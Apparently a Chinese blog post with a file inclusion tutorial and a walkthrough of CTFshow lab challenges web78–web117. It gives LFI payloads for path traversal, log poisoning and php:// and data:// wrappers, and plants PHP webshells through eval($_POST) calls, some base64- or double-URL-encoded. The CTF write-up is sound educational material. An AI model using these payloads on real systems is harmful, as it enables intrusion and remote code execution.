当前位置: 首页 > news >正文

文件包含靶场实现

         文件包含漏洞(File Inclusion Vulnerability)是 Web 安全中常见的高危漏洞,主要分为 本地文件包含(LFI)远程文件包含(RFI)

1、典型利用方式

利用方式示例 Payload说明
路径遍历?page=../../../etc/passwd读取系统敏感文件
空字节截断?page=../../etc/passwd%00截断后缀(PHP <5.3.4有效)
日志文件注入?page=/var/log/apache2/access.log通过 User-Agent 注入 PHP 代码并包含日志文件
PHP 伪协议?page=php://filter/convert.base64-encode/resource=index.php读取 PHP 源码(Base64 编码)
Session 文件包含?page=/tmp/sess_[session_id]利用 Session 文件注入代码

 2、CTFshow靶场演习

web78

代码无过滤,使用data伪协议查看文件,然后输出文件
    ?file=data://text/plain,<?php system("ls")?>
    ?file=data://text/plain,<?php system("tac flag.php")?> 

web79

本题将php替换???
三种方法
1、<?= ?>用于输出,等同于- <?php echo ; ?>可以直接使用
?file=data://text/plain,<?=system('ls') ?>
得到文件
?file=data://text/plain,<?=system("tac flag.*")?>
使用*模糊查找
得到flag

2、base64
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= #<?php system("ls")?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs= #<?php system("tac flag.php");
得到flag

3、post请求
?file=data://text/plain,<?=eval($_POST[a]);?>
a=system("ls");
a=system("tac flag.php");
得到flag

web80

 本题php,data过滤
日志文件包含
?file=../../../../var/log/nginx/access.log
在UA头改为  <?php eval($_POST[a]); ?>
post请求    a=system("ls");
                        a=system("tac fl0g.php");
有时候没有第一时间回显需要多发送几次

可以用hackbar执行

也可以用BP执行

web81

本题php,data,:已过滤
不耽误用日志
跟上题一样
?file=../../../../var/log/nginx/access.log
ua  <?php eval($_POST[a]); ?>
post  a=system("ls");
      a=system("tac fl0g.php");
      得到flag

web87

本题php data : .已过滤,这题有file和content两个传参,而且还将输入进行了一次url解码
php://filter/write=convert.base64-encode/resource=1.php进行url逐字符编码两次
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30
在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,
所以最终被解码的字符仅有“phpdie”和我们传入的其他字符phpdie是六个字符所以需要加上aa
因为base64算法解码时是4个byte一组,所以给他增加2个“a”一共8个字符。
这样,"phpdieaa"被正常解码,而后面我们传入的webshell的base64内容也被正常解码
content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
#<?php @eval($_POST[1]);?>
接着执行post请求得到flag
    a=system("ls");
    a=system("tac fl0g.php");

web88

题目中过滤php和一堆字符,而且设定不区分大小写
使用data协议,base64后的编码不能有/php|\\~|\\!|\\@|\\#|\\\\$|\\%|\\^|\\&|\\*|\\(|\\)|\\-|\\_|\\+|\\=|\\./i"这些
一个字母通常有=,传入参数多加几个字母base后得通常没有过滤字符
data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz5j #<?php @eval($_POST['ccc']);?>c
ccc=system("ls");
ccc=system("tac fl0g.php");
得到flag 

web116

下载视频用binwalk查看文件内容,看到里面有一个png文件分离一下
sudo binwalk -e '/root/Desktop/w5P98-tV.mp4' -D 'png:png' --run-as=root
分离出代码如下

 

由代码得知存在文件包含
访问?file=flag.php
得到flag

web117

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php
把一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码:
post传入:contents=?<hp pe@av(l_$EG[T]1;)>?
/hack.php?1=system('ls');
/hack.php?1=system('tac flag.php');
得到flag

相关文章:

  • RK3576 Android 14.0 SDK开发指南(第一集)
  • vivado fpga程序固化
  • FPGA:基于Vivado的仿真流程与波形调试实践
  • 企业级网络安全护盾:剖析高防IP原理与防护策略
  • C# 语法篇:字段的定义和运算
  • 基于R语言地理加权回归、主成份分析、判别分析等空间异质性数据分析技术
  • Python实现VTK - 自学笔记(4):用Widgets实现三维交互控制
  • 已解决:Git冲突完全解决指南(附最佳实践)
  • 第三个小程序动工:一款结合ai的菜谱小程序
  • 软考中级软件设计师——计算机网络篇
  • 国产远程工具如何重新定义高效连接?——从协议支持到生态整合的全面解析
  • SPA模式下的es6如何加快宿主页的显示速度
  • Index-AniSora技术升级开源:动漫视频生成强化学习
  • 深入解析FramePack:高效视频帧打包技术原理与实践
  • 什么叫生成式人工智能?职业技能的范式转移与能力重构
  • C++:迭代器
  • c/c++的opencv高斯模糊
  • 超长文本注意力机制如何突破传统 O(n²) 瓶颈
  • 大模型的说谎行为
  • 大模型——多模态检索的RAG系统架构设计
  • 巴西商业农场首次确诊高致病性禽流感,中国欧盟暂停进口巴西禽肉产品
  • 藤井树与藤井树:岩井俊二式的爱情,情书的三重生命
  • 英国研究:近七成年轻人认为上网有害心理健康
  • 海南医科大披露校内竞聘上岗结果:32名干部离开领导岗位,8人系落选
  • 玉林一河段出现十年最大洪水,一村民被冲走遇难
  • 国宝归来!子弹库帛书二、三卷抵达北京